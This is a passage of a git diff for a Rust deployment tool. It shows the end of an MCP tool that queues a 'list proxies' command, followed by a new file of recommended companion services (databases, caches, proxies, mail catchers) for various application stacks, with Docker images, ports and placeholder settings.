resolver = create_resolver(context); + let deployment_hash = resolver.resolve(&identifier).await?; + + // Create command for agent + let command_id = uuid::Uuid::new_v4().to_string(); + let command = Command::new( + command_id.clone(), + deployment_hash.clone(), + "configure_proxy".to_string(), + context.user.id.clone(), + ) + .with_parameters(json!({ + "name": "stacker.configure_proxy", + "params": { + "deployment_hash": deployment_hash, + "app_code": params.app_code.clone().unwrap_or_default(), + "action": "list" + } + })); + + // Insert command and add to queue + let command = db::command::insert(&context.pg_pool, &command) + .await + .map_err(|e| format!("Failed to create command: {}", e))?; + + db::command::add_to_queue( + &context.pg_pool, + &command.command_id, + &deployment_hash, + &CommandPriority::Normal, + ) + .await + .map_err(|e| format!("Failed to queue command: {}", e))?; + + tracing::info!( + user_id = %context.user.id, + deployment_hash = %deployment_hash, + "Queued list_proxies command via MCP" + ); + + let response = json!({ + "status": "queued", + "command_id": command.command_id, + "deployment_hash": deployment_hash, + "message": "List proxies command queued. Results will be available when agent responds." + }); + + Ok(ToolContent::Text { + text: response.to_string(), + }) + } + + fn schema(&self) -> Tool { + Tool { + name: "list_proxies".to_string(), + description: "List all reverse proxy configurations for a deployment.".to_string(), + input_schema: json!({ + "type": "object", + "properties": { + "deployment_id": { + "type": "number", + "description": "The deployment/installation ID (for legacy User Service deployments)" + }, + "deployment_hash": { + "type": "string", + "description": "The deployment hash (for Stack Builder deployments)" + }, + "app_code": { + "type": "string", + "description": "Optional: filter proxies by app code" + } + }, + "required": [] + }), + } + } +} diff --git a/stacker/stacker/src/mcp/tools/recommendations.rs b/stacker/stacker/src/mcp/tools/recommendations.rs new file mode 100644 index 0000000..13d030d --- /dev/null +++ b/stacker/stacker/src/mcp/tools/recommendations.rs @@ -0,0 +1,1400 @@ +use async_trait::async_trait; +use serde::Deserialize; +use serde_json::{json, Value}; + +use crate::mcp::protocol::{Tool, ToolContent}; +use crate::mcp::registry::{ToolContext, ToolHandler}; + +/// Recommend complementary services for a stack based on the selected template(s). +/// +/// Returns categorized recommendations (production vs development) with +/// suggested configurations (env vars, ports, volumes) tailored to the +/// deployment method (SSH/Ansible roles or Status Panel apps). +pub struct RecommendStackServicesTool; + +/// A single service recommendation with its rationale and configuration. +#[derive(serde::Serialize, Clone)] +struct ServiceRecommendation { + /// App/role code (e.g. "redis", "nginx", "traefik") + code: String, + /// Human-readable name + name: String, + /// Why this service is recommended + reason: String, + /// "required" | "recommended" | "optional" + priority: String, + /// "database" | "cache" | "proxy" | "monitoring" | "search" | "queue" | "mail" | "storage" | "security" | "devtool" | "runtime" + category: String, + /// Docker image (for Status Panel / docker-compose method) + docker_image: String, + /// Ansible role name (for SSH method); empty if not available + ansible_role: String, + /// Whether we have a local Ansible role for this + has_local_role: bool, + /// Whether we have a local app template for this + has_local_app: bool, + /// Suggested environment variables + environment: Value, + /// Suggested port mappings + ports: Value, + /// Suggested volume mounts + volumes: Value, + /// Additional notes / configuration tips + notes: String, +} + +/// Knowledge base: for a given "primary" app, which companion services make sense? +struct StackBlueprint { + /// Which primary codes trigger this blueprint + triggers: Vec<&'static str>, + /// Production recommendations + production: Vec, + /// Development-only extras + development: Vec, +} + +fn build_blueprints() -> Vec { + vec![ + // ── WordPress ──────────────────────────────────────────────── + StackBlueprint { + triggers: vec!["wordpress", "wordpress_prod", "wordpress_dev", "wordpress_woocommerce"], + production: vec![ + ServiceRecommendation { + code: "mysql".into(), + name: "MySQL".into(), + reason: "WordPress requires a MySQL-compatible database".into(), + priority: "required".into(), + category: "database".into(), + docker_image: "mysql:8.0".into(), + ansible_role: "mysql".into(), + has_local_role: true, + has_local_app: true, + environment: json!({ + "MYSQL_ROOT_PASSWORD": "changeme_root", + "MYSQL_DATABASE": "wordpress", + "MYSQL_USER": "wordpress", + "MYSQL_PASSWORD": "changeme_wp" + }), + ports: json!([{"host_port": "3306", "container_port": "3306"}]), + volumes: json!([{"host_path": "mysql_data", "container_path": "/var/lib/mysql"}]), + notes: "Change default passwords before deploying to production.".into(), + }, + ServiceRecommendation { + code: "redis".into(), + name: "Redis".into(), + reason: "Object caching dramatically improves WordPress performance".into(), + priority: "recommended".into(), + category: "cache".into(), + docker_image: "redis:7-alpine".into(), + ansible_role: "redis".into(), + has_local_role: true, + has_local_app: true, + environment: json!({}), + ports: json!([{"host_port": "6379", "container_port": "6379"}]), + volumes: json!([{"host_path": "redis_data", "container_path": "/data"}]), + notes: "Install WP Redis plugin for object cache. Set WP_REDIS_HOST=redis".into(), + }, + ServiceRecommendation { + code: "traefik".into(), + name: "Traefik".into(), + reason: "Reverse proxy with automatic SSL certificate management".into(), + priority: "recommended".into(), + category: "proxy".into(), + docker_image: "traefik:v3.0".into(), + ansible_role: "traefik".into(), + has_local_role: true, + has_local_app: true, + environment: json!({}), + ports: json!([ + {"host_port": "80", "container_port": "80"}, + {"host_port": "443", "container_port": "443"} + ]), + volumes: json!([ + {"host_path": "/var/run/docker.sock", "container_path": "/var/run/docker.sock"}, + {"host_path": "traefik_certs", "container_path": "/letsencrypt"} + ]), + notes: "Handles SSL termination and routing for all services.".into(), + }, + ServiceRecommendation { + code: "telegraf".into(), + name: "Telegraf".into(), + reason: "System and container metrics collection for monitoring".into(), + priority: "optional".into(), + category: "monitoring".into(), + docker_image: "telegraf:1.30-alpine".into(), + ansible_role: "telegraf".into(), + has_local_role: true, + has_local_app: true, + environment: json!({}), + ports: json!([]), + volumes: json!([ + {"host_path": "/var/run/docker.sock", "container_path": "/var/run/docker.sock:ro"} + ]), + notes: "Feeds metrics to InfluxDB or TryDirect monitoring dashboard.".into(), + }, + ], + development: vec![ + ServiceRecommendation { + code: "phpmyadmin".into(), + name: "phpMyAdmin".into(), + reason: "Web-based database management for development".into(), + priority: "recommended".into(), + category: "devtool".into(), + docker_image: "phpmyadmin:latest".into(), + ansible_role: "phpmyadmin".into(), + has_local_role: true, + has_local_app: true, + environment: json!({"PMA_HOST": "mysql", "PMA_PORT": "3306"}), + ports: json!([{"host_port": "8080", "container_port": "80"}]), + volumes: json!([]), + notes: "Remove in production. Accessible at port 8080.".into(), + }, + ServiceRecommendation { + code: "mailhog".into(), + name: "MailHog".into(), + reason: "Catches all outgoing emails for development testing".into(), + priority: "optional".into(), + category: "mail".into(), + docker_image: "mailhog/mailhog:latest".into(), + ansible_role: "mailhog".into(), + has_local_role: true, + has_local_app: false, + environment: json!({}), + ports: json!([ + {"host_port": "1025", "container_port": "1025"}, + {"host_port": "8025", "container_port": "8025"} + ]), + volumes: json!([]), + notes: "SMTP on 1025, web UI on 8025. Configure WordPress SMTP plugin to use mailhog:1025.".into(), + }, + ], + }, + + // ── Django ─────────────────────────────────────────────────── + StackBlueprint { + triggers: vec!["django"], + production: vec![ + ServiceRecommendation { + code: "postgres".into(), + name: "PostgreSQL".into(), + reason: "Django's preferred production database".into(), + priority: "required".into(), + category: "database".into(), + docker_image: "postgres:16-alpine".into(), + ansible_role: "postgres".into(), + has_local_role: true, + has_local_app: true, + environment: json!({ + "POSTGRES_DB": "django_db", + "POSTGRES_USER": "django", + "POSTGRES_PASSWORD": "changeme" + }), + ports: json!([{"host_port": "5432", "container_port": "5432"}]), + volumes: json!([{"host_path": "postgres_data", "container_path": "/var/lib/postgresql/data"}]), + notes: "Set DATABASE_URL=postgres://django:changeme@postgres:5432/django_db in Django.".into(), + }, + ServiceRecommendation { + code: "redis".into(), + name: "Redis".into(), + reason: "Cache backend and Celery broker for async tasks".into(), + priority: "recommended".into(), + category: "cache".into(), + docker_image: "redis:7-alpine".into(), + ansible_role: "redis".into(), + has_local_role: true, + has_local_app: true, + environment: json!({}), + ports: json!([{"host_port": "6379", "container_port": "6379"}]), + volumes: json!([{"host_path": "redis_data", "container_path": "/data"}]), + notes: "Use as Django cache (django-redis) and Celery broker (CELERY_BROKER_URL=redis://redis:6379/0).".into(), + }, + ServiceRecommendation { + code: "nginx".into(), + name: "Nginx".into(), + reason: "Reverse proxy and static file server for Django".into(), + priority: "recommended".into(), + category: "proxy".into(), + docker_image: "nginx:1.25-alpine".into(), + ansible_role: "".into(), + has_local_role: false, + has_local_app: true, + environment: json!({}), + ports: json!([ + {"host_port": "80", "container_port": "80"}, + {"host_port": "443", "container_port": "443"} + ]), + volumes: json!([ + {"host_path": "static_files", "container_path": "/usr/share/nginx/html/static"}, + {"host_path": "media_files", "container_path": "/usr/share/nginx/html/media"} + ]), + notes: "Serves static/media files and proxies to gunicorn.".into(), + }, + ServiceRecommendation { + code: "rabbitmq".into(), + name: "RabbitMQ".into(), + reason: "Message broker for Celery task queue (alternative to Redis)".into(), + priority: "optional".into(), + category: "queue".into(), + docker_image: "rabbitmq:3-management-alpine".into(), + ansible_role: "rabbitmq".into(), + has_local_role: true, + has_local_app: true, + environment: json!({ + "RABBITMQ_DEFAULT_USER": "django", + "RABBITMQ_DEFAULT_PASS": "changeme" + }), + ports: json!([ + {"host_port": "5672", "container_port": "5672"}, + {"host_port": "15672", "container_port": "15672"} + ]), + volumes: json!([{"host_path": "rabbitmq_data", "container_path": "/var/lib/rabbitmq"}]), + notes: "Management UI on port 15672. Use if you need advanced routing beyond Redis pub/sub.".into(), + }, + ServiceRecommendation { + code: "telegraf".into(), + name: "Telegraf".into(), + reason: "Metrics collection for monitoring".into(), + priority: "optional".into(), + category: "monitoring".into(), + docker_image: "telegraf:1.30-alpine".into(), + ansible_role: "telegraf".into(), + has_local_role: true, + has_local_app: true, + environment: json!({}), + ports: json!([]), + volumes: json!([{"host_path": "/var/run/docker.sock", "container_path": "/var/run/docker.sock:ro"}]), + notes: "Feeds metrics to InfluxDB or TryDirect monitoring.".into(), + }, + ], + development: vec![ + ServiceRecommendation { + code: "mailhog".into(), + name: "MailHog".into(), + reason: "Email testing without sending real emails".into(), + priority: "recommended".into(), + category: "mail".into(), + docker_image: "mailhog/mailhog:latest".into(), + ansible_role: "mailhog".into(), + has_local_role: true, + has_local_app: false, + environment: json!({}), + ports: json!([ + {"host_port": "1025", "container_port": "1025"}, + {"host_port": "8025", "container_port": "8025"} + ]), + volumes: json!([]), + notes: "Configure Django EMAIL_HOST=mailhog, EMAIL_PORT=1025.".into(), + }, + ], + }, + + // ── Flask / FastAPI ────────────────────────────────────────── + StackBlueprint { + triggers: vec!["flask", "fastapi"], + production: vec![ + ServiceRecommendation { + code: "postgres".into(), + name: "PostgreSQL".into(), + reason: "Reliable production database for Python web apps".into(), + priority: "recommended".into(), + category: "database".into(), + docker_image: "postgres:16-alpine".into(), + ansible_role: "postgres".into(), + has_local_role: true, + has_local_app: true, + environment: json!({ + "POSTGRES_DB": "app_db", + "POSTGRES_USER": "app", + "POSTGRES_PASSWORD": "changeme" + }), + ports: json!([{"host_port": "5432", "container_port": "5432"}]), + volumes: json!([{"host_path": "postgres_data", "container_path": "/var/lib/postgresql/data"}]), + notes: "Set DATABASE_URL in your app environment.".into(), + }, + ServiceRecommendation { + code: "redis".into(), + name: "Redis".into(), + reason: "Caching, session storage, and task queue support".into(), + priority: "recommended".into(), + category: "cache".into(), + docker_image: "redis:7-alpine".into(), + ansible_role: "redis".into(), + has_local_role: true, + has_local_app: true, + environment: json!({}), + ports: json!([{"host_port": "6379", "container_port": "6379"}]), + volumes: json!([{"host_path": "redis_data", "container_path": "/data"}]), + notes: "Use as cache layer or Celery/ARQ broker.".into(), + }, + ServiceRecommendation { + code: "traefik".into(), + name: "Traefik".into(), + reason: "Reverse proxy with automatic SSL".into(), + priority: "recommended".into(), + category: "proxy".into(), + docker_image: "traefik:v3.0".into(), + ansible_role: "traefik".into(), + has_local_role: true, + has_local_app: true, + environment: json!({}), + ports: json!([ + {"host_port": "80", "container_port": "80"}, + {"host_port": "443", "container_port": "443"} + ]), + volumes: json!([ + {"host_path": "/var/run/docker.sock", "container_path": "/var/run/docker.sock"}, + {"host_path": "traefik_certs", "container_path": "/letsencrypt"} + ]), + notes: "Auto-discovers containers via Docker labels.".into(), + }, + ], + development: vec![ + ServiceRecommendation { + code: "mailhog".into(), + name: "MailHog".into(), + reason: "Email testing".into(), + priority: "optional".into(), + category: "mail".into(), + docker_image: "mailhog/mailhog:latest".into(), + ansible_role: "mailhog".into(), + has_local_role: true, + has_local_app: false, + environment: json!({}), + ports: json!([ + {"host_port": "1025", "container_port": "1025"}, + {"host_port": "8025", "container_port": "8025"} + ]), + volumes: json!([]), + notes: "".into(), + }, + ], + }, + + // ── Node.js / Next.js / Express ────────────────────────────── + StackBlueprint { + triggers: vec!["nodejs", "nextjs", "express"], + production: vec![ + ServiceRecommendation { + code: "postgres".into(), + name: "PostgreSQL".into(), + reason: "Reliable relational database for Node.js apps".into(), + priority: "recommended".into(), + category: "database".into(), + docker_image: "postgres:16-alpine".into(), + ansible_role: "postgres".into(), + has_local_role: true, + has_local_app: true, + environment: json!({ + "POSTGRES_DB": "app_db", + "POSTGRES_USER": "app", + "POSTGRES_PASSWORD": "changeme" + }), + ports: json!([{"host_port": "5432", "container_port": "5432"}]), + volumes: json!([{"host_path": "postgres_data", "container_path": "/var/lib/postgresql/data"}]), + notes: "Or use MongoDB if your app uses Mongoose/document model.".into(), + }, + ServiceRecommendation { + code: "redis".into(), + name: "Redis".into(), + reason: "Session store, caching, and BullMQ job queue".into(), + priority: "recommended".into(), + category: "cache".into(), + docker_image: "redis:7-alpine".into(), + ansible_role: "redis".into(), + has_local_role: true, + has_local_app: true, + environment: json!({}), + ports: json!([{"host_port": "6379", "container_port": "6379"}]), + volumes: json!([{"host_path": "redis_data", "container_path": "/data"}]), + notes: "Excellent for connect-redis sessions and BullMQ job processing.".into(), + }, + ServiceRecommendation { + code: "traefik".into(), + name: "Traefik".into(), + reason: "Reverse proxy with automatic HTTPS".into(), + priority: "recommended".into(), + category: "proxy".into(), + docker_image: "traefik:v3.0".into(), + ansible_role: "traefik".into(), + has_local_role: true, + has_local_app: true, + environment: json!({}), + ports: json!([ + {"host_port": "80", "container_port": "80"}, + {"host_port": "443", "container_port": "443"} + ]), + volumes: json!([ + {"host_path": "/var/run/docker.sock", "container_path": "/var/run/docker.sock"}, + {"host_path": "traefik_certs", "container_path": "/letsencrypt"} + ]), + notes: "".into(), + }, + ], + development: vec![ + ServiceRecommendation { + code: "mailhog".into(), + name: "MailHog".into(), + reason: "Email testing".into(), + priority: "optional".into(), + category: "mail".into(), + docker_image: "mailhog/mailhog:latest".into(), + ansible_role: "mailhog".into(), + has_local_role: true, + has_local_app: false, + environment: json!({}), + ports: json!([ + {"host_port": "1025", "container_port": "1025"}, + {"host_port": "8025", "container_port": "8025"} + ]), + volumes: json!([]), + notes: "".into(), + }, + ], + }, + + // ── Laravel / PHP ──────────────────────────────────────────── + StackBlueprint { + triggers: vec!["laravel", "LAMP", "magento", "symfony", "pimcore6_prod", "pimcore6_dev"], + production: vec![ + ServiceRecommendation { + code: "mysql".into(), + name: "MySQL".into(), + reason: "Primary database for PHP/Laravel applications".into(), + priority: "required".into(), + category: "database".into(), + docker_image: "mysql:8.0".into(), + ansible_role: "mysql".into(), + has_local_role: true, + has_local_app: true, + environment: json!({ + "MYSQL_ROOT_PASSWORD": "changeme_root", + "MYSQL_DATABASE": "laravel", + "MYSQL_USER": "laravel", + "MYSQL_PASSWORD": "changeme" + }), + ports: json!([{"host_port": "3306", "container_port": "3306"}]), + volumes: json!([{"host_path": "mysql_data", "container_path": "/var/lib/mysql"}]), + notes: "Set DB_HOST=mysql, DB_DATABASE=laravel in .env".into(), + }, + ServiceRecommendation { + code: "redis".into(), + name: "Redis".into(), + reason: "Cache, session driver, and queue worker backend".into(), + priority: "recommended".into(), + category: "cache".into(), + docker_image: "redis:7-alpine".into(), + ansible_role: "redis".into(), + has_local_role: true, + has_local_app: true, + environment: json!({}), + ports: json!([{"host_port": "6379", "container_port": "6379"}]), + volumes: json!([{"host_path": "redis_data", "container_path": "/data"}]), + notes: "Set CACHE_DRIVER=redis, SESSION_DRIVER=redis, QUEUE_CONNECTION=redis in Laravel.".into(), + }, + ServiceRecommendation { + code: "traefik".into(), + name: "Traefik".into(), + reason: "Reverse proxy with SSL termination".into(), + priority: "recommended".into(), + category: "proxy".into(), + docker_image: "traefik:v3.0".into(), + ansible_role: "traefik".into(), + has_local_role: true, + has_local_app: true, + environment: json!({}), + ports: json!([ + {"host_port": "80", "container_port": "80"}, + {"host_port": "443", "container_port": "443"} + ]), + volumes: json!([ + {"host_path": "/var/run/docker.sock", "container_path": "/var/run/docker.sock"}, + {"host_path": "traefik_certs", "container_path": "/letsencrypt"} + ]), + notes: "".into(), + }, + ], + development: vec![ + ServiceRecommendation { + code: "phpmyadmin".into(), + name: "phpMyAdmin".into(), + reason: "Web database manager for development".into(), + priority: "recommended".into(), + category: "devtool".into(), + docker_image: "phpmyadmin:latest".into(), + ansible_role: "phpmyadmin".into(), + has_local_role: true, + has_local_app: true, + environment: json!({"PMA_HOST": "mysql"}), + ports: json!([{"host_port": "8080", "container_port": "80"}]), + volumes: json!([]), + notes: "".into(), + }, + ServiceRecommendation { + code: "mailhog".into(), + name: "MailHog".into(), + reason: "Catch outgoing emails in development".into(), + priority: "recommended".into(), + category: "mail".into(), + docker_image: "mailhog/mailhog:latest".into(), + ansible_role: "mailhog".into(), + has_local_role: true, + has_local_app: false, + environment: json!({}), + ports: json!([ + {"host_port": "1025", "container_port": "1025"}, + {"host_port": "8025", "container_port": "8025"} + ]), + volumes: json!([]), + notes: "Set MAIL_HOST=mailhog, MAIL_PORT=1025 in .env".into(), + }, + ], + }, + + // ── Ruby on Rails ──────────────────────────────────────────── + StackBlueprint { + triggers: vec!["ror_restful"], + production: vec![ + ServiceRecommendation { + code: "postgres".into(), + name: "PostgreSQL".into(), + reason: "Rails default production database".into(), + priority: "required".into(), + category: "database".into(), + docker_image: "postgres:16-alpine".into(), + ansible_role: "postgres".into(), + has_local_role: true, + has_local_app: true, + environment: json!({ + "POSTGRES_DB": "rails_production", + "POSTGRES_USER": "rails", + "POSTGRES_PASSWORD": "changeme" + }), + ports: json!([{"host_port": "5432", "container_port": "5432"}]), + volumes: json!([{"host_path": "postgres_data", "container_path": "/var/lib/postgresql/data"}]), + notes: "".into(), + }, + ServiceRecommendation { + code: "redis".into(), + name: "Redis".into(), + reason: "Action Cable, Sidekiq, and cache store".into(), + priority: "recommended".into(), + category: "cache".into(), + docker_image: "redis:7-alpine".into(), + ansible_role: "redis".into(), + has_local_role: true, + has_local_app: true, + environment: json!({}), + ports: json!([{"host_port": "6379", "container_port": "6379"}]), + volumes: json!([{"host_path": "redis_data", "container_path": "/data"}]), + notes: "Set REDIS_URL=redis://redis:6379/0".into(), + }, + ServiceRecommendation { + code: "traefik".into(), + name: "Traefik".into(), + reason: "Reverse proxy with SSL".into(), + priority: "recommended".into(), + category: "proxy".into(), + docker_image: "traefik:v3.0".into(), + ansible_role: "traefik".into(), + has_local_role: true, + has_local_app: true, + environment: json!({}), + ports: json!([ + {"host_port": "80", "container_port": "80"}, + {"host_port": "443", "container_port": "443"} + ]), + volumes: json!([ + {"host_path": "/var/run/docker.sock", "container_path": "/var/run/docker.sock"}, + {"host_path": "traefik_certs", "container_path": "/letsencrypt"} + ]), + notes: "".into(), + }, + ], + development: vec![ + ServiceRecommendation { + code: "mailhog".into(), + name: "MailHog".into(), + reason: "Email testing in development".into(), + priority: "optional".into(), + category: "mail".into(), + docker_image: "mailhog/mailhog:latest".into(), + ansible_role: "mailhog".into(), + has_local_role: true, + has_local_app: false, + environment: json!({}), + ports: json!([ + {"host_port": "1025", "container_port": "1025"}, + {"host_port": "8025", "container_port": "8025"} + ]), + volumes: json!([]), + notes: "".into(), + }, + ], + }, + + // ── AI / ML Stacks ─────────────────────────────────────────── + StackBlueprint { + triggers: vec!["openwebui", "langflow", "flowise", "litellm", "ai-workbench", "dify", "tensorflow"], + production: vec![ + ServiceRecommendation { + code: "postgres".into(), + name: "PostgreSQL".into(), + reason: "Persistent storage for AI/ML metadata and configurations".into(), + priority: "recommended".into(), + category: "database".into(), + docker_image: "postgres:16-alpine".into(), + ansible_role: "postgres".into(), + has_local_role: true, + has_local_app: true, + environment: json!({ + "POSTGRES_DB": "ai_db", + "POSTGRES_USER": "ai", + "POSTGRES_PASSWORD": "changeme" + }), + ports: json!([{"host_port": "5432", "container_port": "5432"}]), + volumes: json!([{"host_path": "postgres_data", "container_path": "/var/lib/postgresql/data"}]), + notes: "".into(), + }, + ServiceRecommendation { + code: "qdrant".into(), + name: "Qdrant".into(), + reason: "Vector database for RAG, embeddings, and semantic search".into(), + priority: "recommended".into(), + category: "database".into(), + docker_image: "qdrant/qdrant:latest".into(), + ansible_role: "qdrant".into(), + has_local_role: true, + has_local_app: true, + environment: json!({}), + ports: json!([ + {"host_port": "6333", "container_port": "6333"}, + {"host_port": "6334", "container_port": "6334"} + ]), + volumes: json!([{"host_path": "qdrant_data", "container_path": "/qdrant/storage"}]), + notes: "REST API on 6333, gRPC on 6334. Essential for RAG workflows.".into(), + }, + ServiceRecommendation { + code: "redis".into(), + name: "Redis".into(), + reason: "Caching layer for LLM responses and session management".into(), + priority: "recommended".into(), + category: "cache".into(), + docker_image: "redis:7-alpine".into(), + ansible_role: "redis".into(), + has_local_role: true, + has_local_app: true, + environment: json!({}), + ports: json!([{"host_port": "6379", "container_port": "6379"}]), + volumes: json!([{"host_path": "redis_data", "container_path": "/data"}]), + notes: "Cache LLM responses to reduce API costs.".into(), + }, + ServiceRecommendation { + code: "traefik".into(), + name: "Traefik".into(), + reason: "Reverse proxy for secure HTTPS access".into(), + priority: "recommended".into(), + category: "proxy".into(), + docker_image: "traefik:v3.0".into(), + ansible_role: "traefik".into(), + has_local_role: true, + has_local_app: true, + environment: json!({}), + ports: json!([ + {"host_port": "80", "container_port": "80"}, + {"host_port": "443", "container_port": "443"} + ]), + volumes: json!([ + {"host_path": "/var/run/docker.sock", "container_path": "/var/run/docker.sock"}, + {"host_path": "traefik_certs", "container_path": "/letsencrypt"} + ]), + notes: "".into(), + }, + ServiceRecommendation { + code: "minio".into(), + name: "MinIO".into(), + reason: "S3-compatible object storage for models, datasets, and artifacts".into(), + priority: "optional".into(), + category: "storage".into(), + docker_image: "minio/minio:latest".into(), + ansible_role: "minio".into(), + has_local_role: true, + has_local_app: false, + environment: json!({ + "MINIO_ROOT_USER": "minioadmin", + "MINIO_ROOT_PASSWORD": "minioadmin" + }), + ports: json!([ + {"host_port": "9000", "container_port": "9000"}, + {"host_port": "9001", "container_port": "9001"} + ]), + volumes: json!([{"host_path": "minio_data", "container_path": "/data"}]), + notes: "API on 9000, console on 9001.".into(), + }, + ], + development: vec![], + }, + + // ── ELK / Monitoring ───────────────────────────────────────── + StackBlueprint { + triggers: vec!["elk", "elk_wazuh", "ewazuh", "wazuh", "zabbix"], + production: vec![ + ServiceRecommendation { + code: "traefik".into(), + name: "Traefik".into(), + reason: "Reverse proxy for dashboard access".into(), + priority: "recommended".into(), + category: "proxy".into(), + docker_image: "traefik:v3.0".into(), + ansible_role: "traefik".into(), + has_local_role: true, + has_local_app: true, + environment: json!({}), + ports: json!([ + {"host_port": "80", "container_port": "80"}, + {"host_port": "443", "container_port": "443"} + ]), + volumes: json!([ + {"host_path": "/var/run/docker.sock", "container_path": "/var/run/docker.sock"}, + {"host_path": "traefik_certs", "container_path": "/letsencrypt"} + ]), + notes: "".into(), + }, + ServiceRecommendation { + code: "telegraf".into(), + name: "Telegraf".into(), + reason: "System metrics collection agent".into(), + priority: "recommended".into(), + category: "monitoring".into(), + docker_image: "telegraf:1.30-alpine".into(), + ansible_role: "telegraf".into(), + has_local_role: true, + has_local_app: true, + environment: json!({}), + ports: json!([]), + volumes: json!([{"host_path": "/var/run/docker.sock", "container_path": "/var/run/docker.sock:ro"}]), + notes: "".into(), + }, + ], + development: vec![], + }, + + // ── GitLab ─────────────────────────────────────────────────── + StackBlueprint { + triggers: vec!["gitlab_server"], + production: vec![ + ServiceRecommendation { + code: "postgres".into(), + name: "PostgreSQL".into(), + reason: "GitLab's required database backend".into(), + priority: "required".into(), + category: "database".into(), + docker_image: "postgres:16-alpine".into(), + ansible_role: "postgres".into(), + has_local_role: true, + has_local_app: true, + environment: json!({ + "POSTGRES_DB": "gitlabhq_production", + "POSTGRES_USER": "gitlab", + "POSTGRES_PASSWORD": "changeme" + }), + ports: json!([{"host_port": "5432", "container_port": "5432"}]), + volumes: json!([{"host_path": "postgres_data", "container_path": "/var/lib/postgresql/data"}]), + notes: "".into(), + }, + ServiceRecommendation { + code: "redis".into(), + name: "Redis".into(), + reason: "Required by GitLab for caching and background jobs".into(), + priority: "required".into(), + category: "cache".into(), + docker_image: "redis:7-alpine".into(), + ansible_role: "redis".into(), + has_local_role: true, + has_local_app: true, + environment: json!({}), + ports: json!([{"host_port": "6379", "container_port": "6379"}]), + volumes: json!([{"host_path": "redis_data", "container_path": "/data"}]), + notes: "".into(), + }, + ServiceRecommendation { + code: "traefik".into(), + name: "Traefik".into(), + reason: "SSL termination and routing".into(), + priority: "recommended".into(), + category: "proxy".into(), + docker_image: "traefik:v3.0".into(), + ansible_role: "traefik".into(), + has_local_role: true, + has_local_app: true, + environment: json!({}), + ports: json!([ + {"host_port": "80", "container_port": "80"}, + {"host_port": "443", "container_port": "443"} + ]), + volumes: json!([ + {"host_path": "/var/run/docker.sock", "container_path": "/var/run/docker.sock"}, + {"host_path": "traefik_certs", "container_path": "/letsencrypt"} + ]), + notes: "".into(), + }, + ServiceRecommendation { + code: "minio".into(), + name: "MinIO".into(), + reason: "Object storage for Git LFS, artifacts, uploads".into(), + priority: "optional".into(), + category: "storage".into(), + docker_image: "minio/minio:latest".into(), + ansible_role: "minio".into(), + has_local_role: true, + has_local_app: false, + environment: json!({ + "MINIO_ROOT_USER": "minioadmin", + "MINIO_ROOT_PASSWORD": "minioadmin" + }), + ports: json!([ + {"host_port": "9000", "container_port": "9000"}, + {"host_port": "9001", "container_port": "9001"} + ]), + volumes: json!([{"host_path": "minio_data", "container_path": "/data"}]), + notes: "Replaces local file storage for scalability.".into(), + }, + ], + development: vec![], + }, + + // ── Mautic (Marketing Automation) ──────────────────────────── + StackBlueprint { + triggers: vec!["mautic"], + production: vec![ + ServiceRecommendation { + code: "mysql".into(), + name: "MySQL".into(), + reason: "Mautic's primary database".into(), + priority: "required".into(), + category: "database".into(), + docker_image: "mysql:8.0".into(), + ansible_role: "mysql".into(), + has_local_role: true, + has_local_app: true, + environment: json!({ + "MYSQL_ROOT_PASSWORD": "changeme_root", + "MYSQL_DATABASE": "mautic", + "MYSQL_USER": "mautic", + "MYSQL_PASSWORD": "changeme" + }), + ports: json!([{"host_port": "3306", "container_port": "3306"}]), + volumes: json!([{"host_path": "mysql_data", "container_path": "/var/lib/mysql"}]), + notes: "".into(), + }, + ServiceRecommendation { + code: "rabbitmq".into(), + name: "RabbitMQ".into(), + reason: "Message queue for Mautic campaign processing".into(), + priority: "recommended".into(), + category: "queue".into(), + docker_image: "rabbitmq:3-management-alpine".into(), + ansible_role: "rabbitmq".into(), + has_local_role: true, + has_local_app: true, + environment: json!({ + "RABBITMQ_DEFAULT_USER": "mautic", + "RABBITMQ_DEFAULT_PASS": "changeme" + }), + ports: json!([ + {"host_port": "5672", "container_port": "5672"}, + {"host_port": "15672", "container_port": "15672"} + ]), + volumes: json!([{"host_path": "rabbitmq_data", "container_path": "/var/lib/rabbitmq"}]), + notes: "Processes email campaigns asynchronously.".into(), + }, + ServiceRecommendation { + code: "traefik".into(), + name: "Traefik".into(), + reason: "Reverse proxy with SSL".into(), + priority: "recommended".into(), + category: "proxy".into(), + docker_image: "traefik:v3.0".into(), + ansible_role: "traefik".into(), + has_local_role: true, + has_local_app: true, + environment: json!({}), + ports: json!([ + {"host_port": "80", "container_port": "80"}, + {"host_port": "443", "container_port": "443"} + ]), + volumes: json!([ + {"host_path": "/var/run/docker.sock", "container_path": "/var/run/docker.sock"}, + {"host_path": "traefik_certs", "container_path": "/letsencrypt"} + ]), + notes: "".into(), + }, + ], + development: vec![ + ServiceRecommendation { + code: "mailhog".into(), + name: "MailHog".into(), + reason: "Catch test campaign emails in development".into(), + priority: "recommended".into(), + category: "mail".into(), + docker_image: "mailhog/mailhog:latest".into(), + ansible_role: "mailhog".into(), + has_local_role: true, + has_local_app: false, + environment: json!({}), + ports: json!([ + {"host_port": "1025", "container_port": "1025"}, + {"host_port": "8025", "container_port": "8025"} + ]), + volumes: json!([]), + notes: "Prevents sending real campaign emails during testing.".into(), + }, + ], + }, + + // ── MongoDB-based stacks ───────────────────────────────────── + StackBlueprint { + triggers: vec!["mongodb", "rocketchat", "wekan"], + production: vec![ + ServiceRecommendation { + code: "mongodb".into(), + name: "MongoDB".into(), + reason: "Document database required by this application".into(), + priority: "required".into(), + category: "database".into(), + docker_image: "mongo:7".into(), + ansible_role: "mongodb".into(), + has_local_role: true, + has_local_app: true, + environment: json!({ + "MONGO_INITDB_ROOT_USERNAME": "admin", + "MONGO_INITDB_ROOT_PASSWORD": "changeme" + }), + ports: json!([{"host_port": "27017", "container_port": "27017"}]), + volumes: json!([{"host_path": "mongodb_data", "container_path": "/data/db"}]), + notes: "".into(), + }, + ServiceRecommendation { + code: "traefik".into(), + name: "Traefik".into(), + reason: "Reverse proxy with SSL".into(), + priority: "recommended".into(), + category: "proxy".into(), + docker_image: "traefik:v3.0".into(), + ansible_role: "traefik".into(), + has_local_role: true, + has_local_app: true, + environment: json!({}), + ports: json!([ + {"host_port": "80", "container_port": "80"}, + {"host_port": "443", "container_port": "443"} + ]), + volumes: json!([ + {"host_path": "/var/run/docker.sock", "container_path": "/var/run/docker.sock"}, + {"host_path": "traefik_certs", "container_path": "/letsencrypt"} + ]), + notes: "".into(), + }, + ], + development: vec![], + }, + + // ── E-Commerce (WooCommerce, OroCommerce, Sylius, Oscar) ──── + StackBlueprint { + 